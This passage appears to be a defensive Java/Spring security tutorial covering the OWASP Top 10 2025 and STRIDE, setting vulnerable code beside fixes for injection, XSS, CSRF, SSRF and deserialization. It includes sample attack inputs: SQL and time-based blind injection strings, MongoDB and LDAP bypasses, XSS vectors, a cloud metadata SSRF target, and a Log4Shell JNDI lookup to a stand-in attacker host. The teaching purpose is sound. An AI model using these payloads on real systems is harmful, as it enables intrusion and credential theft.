2025 rank Title Change from 2021
A01:2025 Broken Access Control Was A01; now absorbs SSRF
A02:2025 Security Misconfiguration Up three places from A05
A03:2025 Software Supply Chain Failures An expansion of "Vulnerable and Outdated Components"
A04:2025 Cryptographic Failures Down from A02
A05:2025 Injection Down from A03 (XSS still lives under this umbrella)
A06:2025 Insecure Design Down from A04
A07:2025 Authentication Failures Unchanged
A08:2025 Software or Data Integrity Failures Unchanged (insecure deserialization lives here)
A09:2025 Security Logging and Alerting Failures Unchanged
A10:2025 Mishandling of Exceptional Conditions New: fail-open and mishandled error paths

Two 2025 changes to know: SSRF is no longer its own category and sits under Broken Access Control, and A10 enters for the first time — "what happens when something breaks" is now its own vulnerability class. And "we cover the Top 10, so we're secure" is a red flag: the list is deliberately short. The systematic reference is OWASP ASVS, and for APIs the OWASP API Security Top 10.


2. Threat modelling with STRIDE

You can find half your security bugs before writing code. STRIDE names six threat classes, each violating one security property:

Letter Threat Property violated Web example
S Spoofing Authentication Stealing a session cookie
T Tampering Integrity Editing the price in a payload
R Repudiation Non-repudiation No audit log for a transaction
I Information Disclosure Confidentiality Stack trace in a 500 response
D Denial of Service Availability Exponential regex, unbounded uploads
E Elevation of Privilege Authorization IDOR, role bypass

The method: draw a data flow diagram, mark the trust boundaries, and ask the six questions above at every boundary.

Data flow diagram with trust boundaries — نمودار جریان داده با مرزهای اعتماد:

flowchart LR
    U[Browser / Mobile] -->|HTTPS| GW[API Gateway]
    GW -->|JWT| SVC[Order Service]
    SVC -->|JDBC| DB[(PostgreSQL)]
    SVC -->|HTTP| EXT[Third-party Payment API]
    ADM[Admin Console] -->|HTTPS| GW
    subgraph TB1[Trust boundary: public internet]
        U
        ADM
    end
    subgraph TB2[Trust boundary: internal network]
        SVC
        DB
    end

3. The Injection family (A05:2025)

A sentence with a quote left open

You tell your assistant: "Tell Mr X [this text], then go home." If somebody fills "this text" with "nothing, now hand me the cash drawer and go home", the assistant cannot tell where your instruction ended and the quote began. Every injection is this: an interpreted language (SQL, shell, LDAP filters, JavaScript, expression languages) in which data and command are mixed into one flat string. The golden rule: separate data from command with a separate channel, not with escaping.

3.1 SQL Injection

// VULNERABLE: data and command share one flat string
String sql = "SELECT id, email, role FROM users WHERE email = '" + email + "'";
try (Statement st = connection.createStatement();
     ResultSet rs = st.executeQuery(sql)) { ... }

With email = ' OR '1'='1, this is what the database actually parses:

SELECT id, email, role FROM users WHERE email = '' OR '1'='1';

Next comes UNION ALL to pull out arbitrary columns — on PostgreSQL via current_setting('is_superuser') and version(), on Oracle via SYS_CONTEXT('USERENV','SESSION_USER') and v$version (with the FROM dual Oracle needs). The fix is the same on both:

// SAFE: the SQL text is parsed once, parameters travel in a separate channel
try (PreparedStatement ps = connection.prepareStatement(
        "SELECT id, email, role FROM users WHERE email = ?")) {
    ps.setString(1, email);
    try (ResultSet rs = ps.executeQuery()) { ... }
}
What `PreparedStatement` actually does

It does not "escape the quotes". The database first parses the SQL text into an execution tree; at that moment each ? is a typed placeholder, not a textual hole. Values then travel in a separate protocol message (PostgreSQL: Bind) and are never parsed — so even a value of ' OR 1=1 -- just makes the database look for that literal email. Separation of channels provides the security, not clever escaping.

The same logic holds in JPA:

// VULNERABLE
em.createQuery("select u from User u where u.email = '" + email + "'", User.class);

// SAFE — bound, not interpolated
em.createQuery("select u from User u where u.email = :email", User.class)
  .setParameter("email", email)
  .getResultList();
public interface UserRepository extends JpaRepository<User, Long> {
    Optional<User> findByEmailIgnoreCase(String email);          // derived: always parameterised

    @Query("select u from User u where u.email = :email and u.tenantId = :tenantId")
    Optional<User> findScoped(@Param("email") String email, @Param("tenantId") long tenantId);
}

The dynamic ORDER BY trap

Column names, table names, ASC/DESC and SQL keywords are not bindable; the only safe route is an allowlist:

private static final Map<String, String> SORTABLE_COLUMNS =
        Map.of("createdAt", "created_at", "email", "email", "id", "id");

String column = SORTABLE_COLUMNS.get(sortKey);
if (column == null) throw new IllegalArgumentException("Unsupported sort key: " + sortKey);
String dir = "desc".equalsIgnoreCase(direction) ? "DESC" : "ASC";
String sql = "SELECT id, email, role FROM users ORDER BY " + column + " " + dir
           + " OFFSET ? ROWS FETCH NEXT ? ROWS ONLY";
SELECT id, email, role FROM users
ORDER BY created_at DESC
OFFSET 20 ROWS FETCH NEXT 10 ROWS ONLY;  -- PostgreSQL also accepts LIMIT 10 OFFSET 20
`Sort` in Spring Data and native queries

Spring Data validates Sort property names for derived and JPQL queries. But JpaSort.unsafe(...) deliberately bypasses that, and with @Query(nativeQuery = true) the sort expression is appended straight into the SQL — so user input on either path rebuilds SQL injection with an ORM on top. Map it through an allowlist first. Same for LIKE: unescaped %/_ wildcards force a full scan — a cheap DoS.

The attacker cannot always see output; then they move to blind and time-based techniques:

-- time-based: 5 seconds slower means the guessed condition was true
' OR (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) IS NOT NULL --

And the layer everyone forgets: assume one call site slips through one day. The app's database user should not be SUPERUSER/DBA or hold DROP, and on sensitive tables should ideally only get SELECT on the columns it needs (column-level GRANT on PostgreSQL, a view plus GRANT SELECT on Oracle). That is the difference between "one table leaked" and "the whole database is gone" — see sql-mastery.

"Does an ORM prevent SQL injection?"

Answer: Not inherently; an ORM only makes the safe path the default. Hibernate binds properly for derived queries and JPQL with named parameters, but there are three escape hatches: JPQL/HQL built by concatenation; nativeQuery = true with interpolation; and parts that cannot be bound — column names, sort direction, table names, the LIKE pattern. There, an allowlist is the only defence. An ORM shrinks the attack surface; it does not remove it.

3.2 NoSQL Injection

In MongoDB the query is itself a document; if the user controls its structure they inject an operator, not a string:

// VULNERABLE: user-controlled JSON becomes part of the query document
collection.find(Document.parse("{ \"email\": " + rawUserInput + " }")).first();

// SAFE: build criteria programmatically; values stay values
User user = mongoTemplate.findOne(new Query(Criteria.where("email").is(email)), User.class);

With rawUserInput = {"$ne": null} the filter becomes "any user whose email is not null" — a complete login bypass.

3.3 LDAP Injection

LDAP filters are a language too: (&(uid=alice)(objectClass=person)). Feed in *)(uid=*))(|(uid=* and the filter opens up and returns everyone.

String filter = "(uid=" + LdapEncoder.filterEncode(username) + ")";   // escape for the filter grammar
LdapQuery query = LdapQueryBuilder.query().where("uid").is(username);  // safer: the builder encodes

filterEncode() is for a value inside a filter, nameEncode() for a DN component; different grammars, not interchangeable — the same context lesson as XSS.

3.4 OS Command Injection

// VULNERABLE: an explicit shell interprets ; | && $() and friends
new ProcessBuilder("/bin/sh", "-c", "convert " + fileName + " out.png").start();
// SAFE: no shell, arguments passed as a real argv array
Process p = new ProcessBuilder("/usr/bin/convert", inputPath.toString(), outputPath.toString())
        .redirectErrorStream(true)
        .start();
if (!p.waitFor(30, TimeUnit.SECONDS)) {
    p.destroyForcibly();
    throw new IllegalStateException("convert timed out");
}
Three subtle traps in the non-SQL injections

(1) Runtime.getRuntime().exec(String) does not run a shell; it splits on whitespace with new StringTokenizer(command), so ; does not chain — but argument injection works (injecting a flag such as --output=...). Those single-string methods are deprecated since Java 18; move to ProcessBuilder, pass an absolute executable path, and validate the value too.

(2) In MongoDB, never use raw JSON from the body as a filter; bind it to a typed DTO. $where and $function execute server-side JavaScript — turn them off with security.javascriptEnabled: false.

(3) Watch for hidden interpreters: never pass a user string to SpelExpressionParser.parseExpression() or into @PreAuthorize (straight RCE), and the template itself in Thymeleaf/Freemarker must never be built from data.

"What is the difference between input validation and output encoding, and which matters more?"

Answer: Two different controls. Validation asks at the input boundary "does this data have the right shape?" Encoding/parameterisation happens at the output boundary and tells the destination interpreter "this is data, not command". The second matters more: validation cannot know whether the value lands in SQL, HTML or an LDAP filter, each a different grammar — a valid name like O'Brien still breaks SQL if unparameterised. I want both (validation-mapstruct).


4. Cross-Site Scripting (XSS)

XSS means running the attacker's code in your origin

Picture a notice board where anyone may pin a sheet and employees act on whatever they read; it cannot prove provenance. The browser is exactly that: any <script> in your document runs with the full authority of your origin — the DOM, localStorage, requests carrying the user's cookies. The nuance: HttpOnly hides a cookie from JavaScript, but XSS can still send requests with it, so it makes token theft harder, not token abuse. XSS means "this user is owned".

Three flavours: Stored (persisted and served to everyone — most dangerous, since it needs no lure), Reflected (returned in the same response, needing one click), and DOM-based (no server involvement; client-side JavaScript writes location.hash into a sink such as innerHTML).

Why context is everything

"Escaping" is not one operation; the grammar differs for every position in the document:

Output context Example Correct encoder (OWASP Java Encoder)
HTML text <p>HERE</p> Encode.forHtml(v)
Unquoted attribute value <div class=HERE> Encode.forHtmlAttribute(v)
Inside <script> as a literal var x = 'HERE'; Encode.forJavaScript(v)
URL in href/src <a href="/go?q=HERE"> Encode.forUriComponent(v)
Inside CSS color: HERE; Encode.forCssString(v)
Inline event handler onclick="HERE" Do not write these at all
<!-- th:text escapes for the HTML text context (safe by default) -->
<p th:text="${comment.body}">placeholder</p>

<!-- th:utext renders raw HTML — only for content you sanitised yourself -->
<div th:utext="${sanitisedRichText}"></div>

<!-- inline JS: Thymeleaf escapes for the JavaScript context, not the HTML one -->
<script th:inline="javascript">
  const userName = /*[[${user.name}]]*/ 'placeholder';
</script>

For rich content that must stay HTML, sanitize instead of escaping — with owasp-java-html-sanitizer (version 20260313.1):

private static final PolicyFactory POLICY = Sanitizers.FORMATTING
        .and(Sanitizers.BLOCKS)
        .and(Sanitizers.LINKS)                       // forces safe schemes, adds rel=nofollow
        .and(new HtmlPolicyBuilder().allowElements("p", "ul", "li", "code", "pre").toFactory());

String safeHtml = POLICY.sanitize(untrustedHtml);    // allowlist-based, not blacklist
Two myths that keep XSS alive

(1) "I HTML-escaped it, so it's safe." Write var name = '${Encode.forHtml(userName)}'; and let the attacker send ';alert(1);// — none of those characters have HTML entities, so the JavaScript string breaks out. The output context decides, not the data type. Move data from HTML into JS through a data-* attribute or a <script type="application/json"> block, never by interpolating into code.

(2) "I wrote a regex that strips <script." Bypassed by <ScRiPt, <img src=x onerror=...>, <svg onload=...>: HTML is a recovering grammar and the browser's "repair" of broken markup builds the payload. Only a sanitizer that parses and re-serialises from an allowlist is trustworthy.

Content Security Policy: the second line of defence

A strict policy with a fresh nonce per request:

byte[] bytes = new byte[16];
new SecureRandom().nextBytes(bytes);
String nonce = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
request.setAttribute("cspNonce", nonce);
response.setHeader("Content-Security-Policy",
        "default-src 'self'; script-src 'nonce-" + nonce + "' 'strict-dynamic' https:; "
      + "object-src 'none'; base-uri 'none'; frame-ancestors 'none'; "
      + "require-trusted-types-for 'script'; report-uri /csp-report");

If the policy is static, Spring Security's own DSL is enough:

http.headers(headers -> headers
    .contentSecurityPolicy(csp -> csp
        .policyDirectives("default-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'"))
);

// roll it out in report-only mode first: add .reportOnly() to the same builder
Senior judgement on CSP

A strict CSP enforced on day one usually breaks half the UI. The professional route: weeks of Content-Security-Policy-Report-Only, collect reports, clean up inline scripts, then enforce — and never let 'unsafe-inline' stay in "temporarily". Spring Security also sends X-XSS-Protection: 0 by default, deliberately disabling the browser's obsolete heuristic filter.

"How do you systematically close XSS in an existing application?"

Answer: In layers. 1) Default encoding in the template engine, plus a CI lint rule banning raw escapes (th:utext, dangerouslySetInnerHTML) except with a signed exception. 2) Sanitize rich HTML in one central place, on render not on store, so the policy can be tightened later. 3) CSP with a nonce. 4) Harden the cookies. 5) Short-lived tokens and re-authentication for sensitive actions. Finally, automated testing: DAST, or known payloads in the integration tests.

"Why doesn't `HttpOnly` stop XSS?"

Answer: Because it only stops JavaScript from reading the cookie. An attacker running code in my origin does not need to see it; fetch('/api/transfer', {method:'POST', credentials:'include'}) is enough and the browser attaches it. So HttpOnly is an impact-reduction control, not prevention.


5. Cross-Site Request Forgery (CSRF)

Your browser attaches the session cookie automatically, regardless of which site the request originated from; the attacker only has to get you to open their page.

CSRF attack flow — جریان حملهٔ CSRF:

sequenceDiagram
    participant V as Victim Browser
    participant E as evil.example
    participant B as bank.example
    V->>B: Login (session cookie stored)
    V->>E: Visits attacker page
    E-->>V: Auto-submitted form targeting bank.example/transfer
    V->>B: POST /transfer (session cookie attached automatically)
    B->>B: Cookie is valid, request looks authentic
    B-->>V: 200 Money moved
CSRF requires ambient authority

CSRF is only possible when the browser attaches the credential without the page's code being involved: a session cookie, HTTP Basic, or a client certificate. If your app sends the token in an Authorization: Bearer header — which only your own JavaScript can construct — the attacker's site cannot build that header and classic CSRF is neutralised. That one sentence answers half of all CSRF interview questions.

Defence 1: SameSite

Strict is never sent on cross-site navigation (safest, but a user clicking your link from an email will not see their session). Lax is the effective browser default: sent on top-level GET navigations, not on cross-site POST. None is sent everywhere and must be paired with Secure.

server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=lax

Defence 2: the synchronizer token

The server keeps a random value in the session and embeds it in the form; a state-changing request is accepted only when the submitted token matches,. Spring Security has this on by default for POST, PUT, PATCH and DELETE.

@Bean
SecurityFilterChain csrfChain(HttpSecurity http) throws Exception {
    http.csrf(csrf -> csrf
            // BREACH-resistant handler is the default; shown explicitly for clarity
            .csrfTokenRequestHandler(new XorCsrfTokenRequestAttributeHandler())
            .ignoringRequestMatchers("/api/webhooks/**"));   // only stateless, signature-verified paths
    return http.build();
}

For an SPA that must read the token from a cookie and put it in a header:

// Spring Security bundles the SPA-friendly repository and handler in one call
http.csrf(csrf -> csrf.spa());

// or explicitly
http.csrf(csrf -> csrf.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()));
Why the token cookie is not `HttpOnly`, and why the token changes every request

Your own JavaScript must read the token to place it in the X-XSRF-TOKEN header; that does not violate HttpOnly, because a CSRF token is not a secret against XSS but proof the request came from the same origin. And XorCsrfTokenRequestAttributeHandler is the default because of BREACH: with a gzipped response over TLS, an attacker can guess a fixed secret in the body byte by byte from response-size changes; per-request randomisation closes that side channel.

Approach What it stops Cost When to choose it
SameSite=Lax Most cross-site POSTs Almost nothing Always, as the baseline
SameSite=Strict All cross-site requests Poor UX for external links Admin consoles, banking
Synchronizer token All CSRF on cookie-based sessions Delivering the token to form/SPA Any cookie-based app
Custom header + strict CORS Simple cross-site requests You must force a preflight JSON-only APIs
Bearer token in a header Makes CSRF moot Storing the token safely (XSS!) Stateless APIs, mobile
Two very common CSRF mistakes

(1) Relying on SameSite alone: Lax does not stop cross-site GETs, so any endpoint that changes state on GET stays exploitable. Subdomains also count as same-site: an XSS on blog.example.com can issue same-site requests to app.example.com.

(2) csrf().disable() without understanding why: only correct when no credential is ambient. If you store the JWT in a cookie (common for XSS resistance) it is ambient again and you do need CSRF. The decision rule: "does the browser attach this credential automatically? If yes, CSRF is required."

"How do you handle CSRF in a microservice architecture with a gateway?"

Answer: First I decide where the session lives. The safe modern pattern is the BFF: the browser holds an HttpOnly+Secure+SameSite session cookie with the gateway, which exchanges it for a downstream access token; CSRF is then needed in exactly one place, the gateway edge. The alternative is handing the token to the browser in localStorage: CSRF disappears but XSS becomes token theft, which is worse. So I state the trade-off, usually pick cookie + CSRF token, and cut XSS risk with CSP (ms-security).


6. Broken Access Control (A01:2025)

The number one category, because unlike injection no tool can know which user should reach which record; that knowledge lives only in the product team's heads.

6.1 IDOR / BOLA

// VULNERABLE: authenticated, but not authorised
@GetMapping("/api/invoices/{id}")
public InvoiceDto get(@PathVariable long id) {
    return invoiceService.findById(id);   // any logged-in user can read any invoice
}

Three defences, from weakest to strongest:

// 1) check after loading — works, but the object is already in memory
@PostAuthorize("returnObject.ownerId == authentication.name")
public InvoiceDto findById(long id) { ... }

// 2) push ownership into the query — the safest default
Optional<Invoice> findByIdAndTenantId(long id, long tenantId);
-- 3) enforce it below the application: PostgreSQL row level security
ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
CREATE POLICY invoice_tenant_isolation ON invoices
  USING (tenant_id = current_setting('app.tenant_id')::bigint);
-- the application sets it per transaction:
SET LOCAL app.tenant_id = '42';

One warning: a UUID is not a security control. It turns "increment an integer" into "guess 122 bits" and is worth doing, but it is security through obscurity: identifiers leak into logs, shared URLs, the Referer header and other APIs' responses. Take the UUID, but keep the authorization check; answering only "UUIDs" will fail you.

"How do you make sure no endpoint forgot its authorization check?"

Answer: I do not rely on human review. 1) Secure by default: anyRequest().authenticated() plus @EnableMethodSecurity, with the rule that every public service method either carries an annotation or declares @PreAuthorize("permitAll()"). 2) Push ownership into the data layer: a repository method that can search without a tenantId should not exist — what cannot be written cannot be forgotten. 3) Automated tests: for every endpoint (listed from OpenAPI), request user B's resources as user A and expect 403/404.

6.2 Mass assignment

// VULNERABLE: the entity is the API contract; User has a `role` field
@PostMapping("/api/users")
public User create(@RequestBody User user) { return userRepository.save(user); }

The attacker posts {"email":"a@b.c","role":"ADMIN"} and becomes an admin. The fix is an explicit inbound DTO:

// SAFE: an explicit inbound DTO — only fields the client may set
public record CreateUserRequest(@Email @NotBlank String email,
                                @Size(min = 12, max = 200) String password) { }

@PostMapping("/api/users")
public UserDto create(@Valid @RequestBody CreateUserRequest request) {
    return userService.register(request.email(), request.password());
}

6.3 Path traversal

// SAFE: canonicalise first, then prove the result is inside the base directory
private static final Path BASE = Path.of("/srv/uploads").toAbsolutePath().normalize();

public byte[] read(String name) throws IOException {
    Path candidate = BASE.resolve(name).normalize();
    if (!candidate.startsWith(BASE)) {
        throw new AccessDeniedException("path traversal attempt");
    }
    return Files.readAllBytes(candidate);
}

6.4 Open redirect

// only relative paths that appear in an explicit allowlist may be redirected to
boolean ok = next != null && next.startsWith("/") && !next.startsWith("//")
          && ALLOWED_PATHS.contains(URI.create(next).getPath());
return ok ? "redirect:" + next : "redirect:/dashboard";
Three access-control traps to smell out in code review

(1) Mass assignment in form binding: Spring4Shell (CVE-2022-22965) grew from this root — the binder let an attacker walk class.module.classLoader... into the ClassLoader configuration and write a web shell on Tomcat. If you must bind: binder.setDisallowedFields("class.*", "Class.*", "*.class.*", "*.Class.*"). Never map your internal object graph directly from HTTP input.

(2) Operation order in path traversal: checking startsWith before normalize() achieves nothing; normalize first, and with symlinks prefer toRealPath(). Spring Security also enables StrictHttpFirewall by default, rejecting URL-encoded slashes, periods and control characters with a RequestRejectedException; if you loosen it, know what you opened.

(3) // in open redirects: //evil.example is a protocol-relative URL — it starts with / but resolves as absolute to another domain, so a path allowlist is required.

6.5 SSRF

Your app takes a URL from the user and fetches it; the attacker supplies an internal address and your server becomes their proxy inside the network. The control chain: https only → host allowlist → resolve and reject private IPs → no redirects → size and time limits.

private static final Set<String> ALLOWED_HOSTS = Set.of("images.partner.example", "cdn.partner.example");

public byte[] fetch(String rawUrl) throws IOException, InterruptedException {
    URI uri = URI.create(rawUrl);
    if (!"https".equalsIgnoreCase(uri.getScheme()) || !ALLOWED_HOSTS.contains(uri.getHost())) {
        throw new IllegalArgumentException("scheme or host not allowed");
    }
    for (InetAddress a : InetAddress.getAllByName(uri.getHost())) {
        if (a.isLoopbackAddress() || a.isLinkLocalAddress() || a.isSiteLocalAddress()
                || a.isAnyLocalAddress() || a.isMulticastAddress()) {
            throw new IllegalArgumentException("target resolves to a private address");
        }
    }
    HttpClient client = HttpClient.newBuilder()
            .followRedirects(HttpClient.Redirect.NEVER)   // a redirect can point back inside
            .connectTimeout(Duration.ofSeconds(3)).build();
    HttpRequest req = HttpRequest.newBuilder(uri).timeout(Duration.ofSeconds(5)).GET().build();
    return client.send(req, HttpResponse.BodyHandlers.ofByteArray()).body();
}
Three traps that break most SSRF defences

(1) DNS rebinding / TOCTOU: between validating the DNS answer and the library resolving it again, the answer can flip to 127.0.0.1. Connect to the IP you validated, or route outbound traffic through an allowlisted egress proxy.

(2) Redirects: with followRedirects on, an allowed host can 302 you to http://169.254.169.254/ — the cloud metadata endpoint that hands back role credentials. Disable redirects or re-validate every hop.

(3) Leaking through the response: status code and timing alone are enough to port-scan the internal network, so make errors uniform. The architectural fix: an egress gateway plus a NetworkPolicy on the pod (containers-jvm).

"What is SSRF and why is it more dangerous in cloud architectures?"

Answer: SSRF means the attacker makes my server issue a request to a destination they choose. Worse in the cloud, because the server sits in a network unreachable from outside and usually reaches an instance metadata service at 169.254.169.254 that returns the service role's credentials — so a simple SSRF converts into cloud keys. Defences are layered: domain allowlist, IP validation after resolution and connecting to that IP, no redirects, IMDSv2, and network egress control. The key point: the last line of defence is the network, not the code, because code always has one forgotten path.


7. Authentication and session failures (A07:2025)

Session fixation: the attacker forces a session identifier onto the victim; the victim logs in, and because the identifier never changed the attacker holds an authenticated session. The fix: change the identifier after a successful login — Spring Security does this by default.

http.sessionManagement(session -> session
        .sessionFixation(fixation -> fixation.changeSessionId())   // default
        .maximumSessions(3));
@Bean
PasswordEncoder passwordEncoder() {
    // stores {argon2}… prefixed hashes and still verifies legacy {bcrypt} ones
    return PasswordEncoderFactories.createDelegatingPasswordEncoder();
}

// pin parameters explicitly if you need to (OWASP minimum: 19 MiB, t=2, p=1):
// new Argon2PasswordEncoder(16, 32, 1, 19 * 1024, 2)

DelegatingPasswordEncoder is the right pattern because it stores each hash with an algorithm prefix ({bcrypt}$2a$10$...), so you can change algorithm without resetting every user: old hashes still verify and are rewritten on the next successful login.

// Distributed brute-force protection: a fixed window counter in Redis
public boolean allow(String key) {
    String redisKey = "rl:login:" + key;
    Long count = redis.opsForValue().increment(redisKey);
    if (count != null && count == 1L) {
        redis.expire(redisKey, Duration.ofMinutes(15));   // start the window on first hit
    }
    return count == null || count <= MAX_ATTEMPTS;
}
Three mistakes that lose accounts

(1) Fast hashes: SHA-256 or MD5 — even salted — are wrong, because being fast is what the attacker wants. Use a deliberately slow, memory-hard function: Argon2id (OWASP: at least 19 MiB, 2 iterations, parallelism 1), or bcrypt with work factor 10+, which only reads the first 72 bytes.

(2) Different error messages: "user not found" versus "wrong password" is textbook user enumeration. Make the response and its timing identical — verify a dummy hash even when the user does not exist.

(3) Rate limiting on IP only: credential stuffing arrives from tens of thousands of IPs, a few attempts each; count per-username, per-IP, and globally on the login endpoint. And the right response is not account lockout (a DoS against real users) but exponential delay, CAPTCHA and ultimately MFA; always send 429 with Retry-After.


8. Security Misconfiguration (A02:2025), headers and CORS

Header Recommended value What it stops
Strict-Transport-Security max-age=31536000 ; includeSubDomains HTTP downgrade, SSL stripping
Content-Security-Policy default-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none' XSS exploitation, base tag injection
X-Content-Type-Options nosniff MIME sniffing (an upload executed as HTML)
X-Frame-Options DENY (or frame-ancestors in CSP) Clickjacking
Referrer-Policy strict-origin-when-cross-origin Paths and tokens leaking via Referer
Permissions-Policy geolocation=(), camera=(), microphone=() Unwanted browser API access
Cache-Control no-store for sensitive responses Private data lingering in a cache or proxy

Spring Security sends these by default: Cache-Control: no-cache, no-store, max-age=0, must-revalidate, Pragma: no-cache, Expires: 0, X-Content-Type-Options: nosniff, X-Frame-Options: DENY, X-XSS-Protection: 0, plus HSTS over HTTPS. The rest is on you:

http.headers(headers -> headers
    .contentSecurityPolicy(csp -> csp.policyDirectives(
        "default-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'"))
    .referrerPolicy(r -> r.policy(ReferrerPolicy.STRICT_ORIGIN_WHEN_CROSS_ORIGIN))
    .permissionsPolicy(p -> p.policy("geolocation=(), camera=(), microphone=()"))
    .httpStrictTransportSecurity(hsts -> hsts.includeSubDomains(true).maxAgeInSeconds(31536000)));

Clickjacking: the attacker puts your page in an invisible <iframe> over their own; the user thinks they click "claim your prize" while actually clicking "confirm transfer" in your app. The modern defence is frame-ancestors 'none'; for a legitimate embed use frame-ancestors https://partner.example — not ALLOW-FROM, which is unsupported.

CORS done right

CORS is not a security control for your server; it is a controlled relaxation of the browser's same-origin policy: "you may show my response to this origin".

@Bean
CorsConfigurationSource corsConfigurationSource() {
    CorsConfiguration config = new CorsConfiguration();
    config.setAllowedOrigins(List.of("https://app.example.com", "https://admin.example.com"));
    config.setAllowedMethods(List.of("GET", "POST", "PUT", "PATCH", "DELETE"));
    config.setAllowedHeaders(List.of("Authorization", "Content-Type", "X-XSRF-TOKEN"));
    config.setExposedHeaders(List.of("X-Total-Count"));
    config.setAllowCredentials(true);
    config.setMaxAge(Duration.ofMinutes(30));

    UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
    source.registerCorsConfiguration("/api/**", config);
    return source;
}

For the actuator: list management.endpoints.web.exposure.include explicitly (never *), set management.endpoint.health.show-details=when-authorized and endpoint.env.show-values=never, and move it to a separate management.server.port the ingress does not publish.

The misconfigurations that actually cause breaches

CORS: the spec forbids allowedOrigins("*") with allowCredentials(true); working around it via setAllowedOriginPatterns("*") lets any site call your API with the user's cookies and read the response. Reflecting the Origin header back is the same disaster with an innocent face, and "any origin ending in example.com" is bypassed by evil-example.com. CORS also does not stop a request being sent, so it never replaces CSRF protection.

The rest: /env, /heapdump, /threaddump on a public port (/heapdump hands over every secret in memory); stack traces in error responses; and DEBUG logging that prints request bodies with tokens.


9. Software and data integrity failures (A08:2025)

A parcel that unpacks itself

Ordinary serialization is like closing a box; whoever opens it sees only the contents. Java's native serialization is a parcel that also carries installation instructions: as it opens, methods such as readObject and readResolve run on the classes inside. The attacker arranges the contents so these innocent methods chain into one dangerous call — a gadget chain. The crucial point: this happens before any type check; by the time you can run instanceof, the attacker's code ran long ago.

Gadget chain at a glance — زنجیرهٔ gadget در یک نگاه:

flowchart LR
    A[Untrusted bytes] --> B[readObject]
    B --> C[readObject of a library class]
    C --> D[Chained call via reflection or proxies]
    D --> E[Runtime.exec or template eval]
    E --> F[RCE]
// If you must deserialize native Java: install a filter (JEP 290, Java 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
        "com.example.dto.*;java.util.ArrayList;java.lang.String;!*");
try (ObjectInputStream in = new ObjectInputStream(source)) {
    in.setObjectInputFilter(filter);   // must be set before readObject
    Object o = in.readObject();
}
# JVM-wide belt and braces: reject everything not explicitly allowed
java -Djdk.serialFilter='com.example.dto.*;java.base/java.util.ArrayList;!*' -jar app.jar

# Java 17+ (JEP 415): a filter factory applies context-specific filters
java -Djdk.serialFilterFactory=com.example.security.AppSerialFilterFactory -jar app.jar

For Jackson, letting the real type be read from the JSON itself means telling the attacker which class to instantiate:

// DANGEROUS: attacker controls the type name in the payload
mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, DefaultTyping.NON_FINAL);

// SAFER: validate which subtypes are allowed
PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("com.example.model.").build();
ObjectMapper mapper = JsonMapper.builder()
        .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();
// BEST: closed, explicit polymorphism — no class names on the wire at all
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes({ @JsonSubTypes.Type(value = CardPayment.class, name = "card"),
                @JsonSubTypes.Type(value = WalletPayment.class, name = "wallet") })
public sealed interface Payment permits CardPayment, WalletPayment { }

XXE is the same problem in the XML world: a document can declare an entity that reads file:///etc/passwd or http://internal/....

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

XMLInputFactory xif = XMLInputFactory.newFactory();          // StAX
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// for XSLT also set XMLConstants.ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_STYLESHEET to ""
Three details that silently defeat these defences

(1) A missing !* at the end of the filter: patterns evaluate left to right and the first match wins; without !* every unlisted class is accepted and the filter is decoration.

(2) activateDefaultTyping with any validator: the best defence is no class names on the wire. Jackson 3 (Spring Boot 4, moved to tools.jackson.* while annotations stay in com.fasterxml.jackson.annotation) has safer defaults, but the principle is unchanged — see jackson-json.

(3) Blocking only external entities in XML: if DTDs are still allowed, nested internal entities expand a few-kilobyte document into gigabytes (billion laughs). The first line is always disallow-doctype-decl = true.

Case study: Log4Shell

CVE-2021-44228: Log4j 2 evaluated ${...} expressions inside the log message, and the jndi lookup could fetch and load an object from a remote LDAP/RMI server — so merely logging a User-Agent of ${jndi:ldap://attacker/x} became RCE. It was catastrophic because the attack surface was everywhere (any string reaching a log), the dependency was usually transitive, and the process could open arbitrary outbound connections. The patch sequence teaches something too: 2.15.0 mitigated it, 2.16.0 removed message lookups (CVE-2021-45046), 2.17.0 closed a recursive DoS (CVE-2021-45105) and 2.17.1 another path (CVE-2021-44832) — the first patch is rarely the last.

# find the real, transitive version you are shipping
mvn dependency:tree -Dincludes=org.apache.logging.log4j
./gradlew dependencyInsight --configuration runtimeClasspath --dependency log4j-core
The senior lesson from Log4Shell (none of them is "update Log4j")

First: any library that "interprets" strings (logging, templating, expressions) is an interpreter, and interpreters mean injection surface. Second: you must answer, in under an hour, "which services run version X of library Y?" — that answer is an SBOM. Third: default-open network egress is the difference between "vulnerable" and "breached"; if the pod could not reach the internet, many chains would have snapped there.

"Explain Log4Shell to a non-technical manager and say how you prevent a repeat."

Answer: In plain terms: when our system wrote something into its event notebook, if the note text was a "command" it executed it — and an outside user controlled that text. Preventing a repeat needs three investments: an SBOM per service, so we know within minutes what runs where; the ability to patch fast, since if shipping a fix takes four weeks it does not matter how quickly we learn of it; and blast-radius containment — least privilege and blocked outbound traffic. All three work whatever the next vulnerability is.


10. Software supply chain failures (A03:2025)

Your code might be ten thousand lines; your dependencies are ten million. The new 2025 category is not just "old library" — it covers the build pipeline, registries, CI actions and base images.

Goal Command
